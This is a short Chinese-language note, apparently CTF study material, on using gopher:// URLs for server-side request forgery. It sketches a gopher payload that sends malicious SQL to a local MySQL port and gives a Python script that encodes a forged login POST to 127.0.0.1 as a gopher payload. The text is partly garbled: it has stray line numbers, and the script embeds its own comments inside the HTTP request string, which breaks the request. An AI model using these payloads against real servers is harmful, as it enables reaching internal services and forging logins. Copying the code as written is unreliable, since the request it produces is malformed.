gopher://协议使用

标签(空格分隔): SSRF


|gopher|发送原始 TCP 数据(高级利用)|构造gopher://127.0.0.1:3306/_%23…(向 MySQL 发送恶意 SQL 命令)|
|——|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
传输脚本如下
# 导入urllib.parse模块,用于URL编码处理
import urllib.parse

# 定义目标主机和端口
host = "127.0.0.1:80"
# 定义POST请求的表单数据(模拟登录的用户名和密码)\\\\\\\\\\\\\\\\\\\\注意根据题目不同进行参数更改
content = "uname=admin&passwd=admin"
# 计算POST数据的长度,用于HTTP头中的Content-Length字段
content_length = len(content)

# 构造完整的POST请求报文(HTTP协议格式)
test =\
"""POST /index.php HTTP/1.1 # HTTP方法为POST,请求路径为/index.php,协议版本1.1
Host: {} # 目标主机(通过format填充上面定义的host变量)
User-Agent: curl/7.43.0 # 模拟curl的User-Agent头
Accept: */* # 接受所有类型的响应数据
Content-Type: application/x-www-form-urlencoded # 表单数据的MIME类型
Content-Length: {} # POST数据的长度(通过format填充content_length变量)

{} # POST请求的表单数据(通过format填充content变量)
# """.format(host,content_length,content) # 用format方法替换占位符,填充host、长度和数据

# 对构造的HTTP报文进行第一次URL编码(将特殊字符转为%XX格式)
tmp = urllib.parse.quote(test)
# 将编码后的换行符%0A(\n)替换为HTTP标准的回车换行%0D%0A(\r\n),避免协议解析错误
new = tmp.replace("%0A","%0D%0A")
# 对处理后的字符串进行第二次URL编码,确保gopher协议能正确解析
result = urllib.parse.quote(new)
# 拼接为gopher协议URL(格式:gopher://主机/_编码后的请求内容),用于SSRF等场景
print("gopher://"+host+"/_"+result)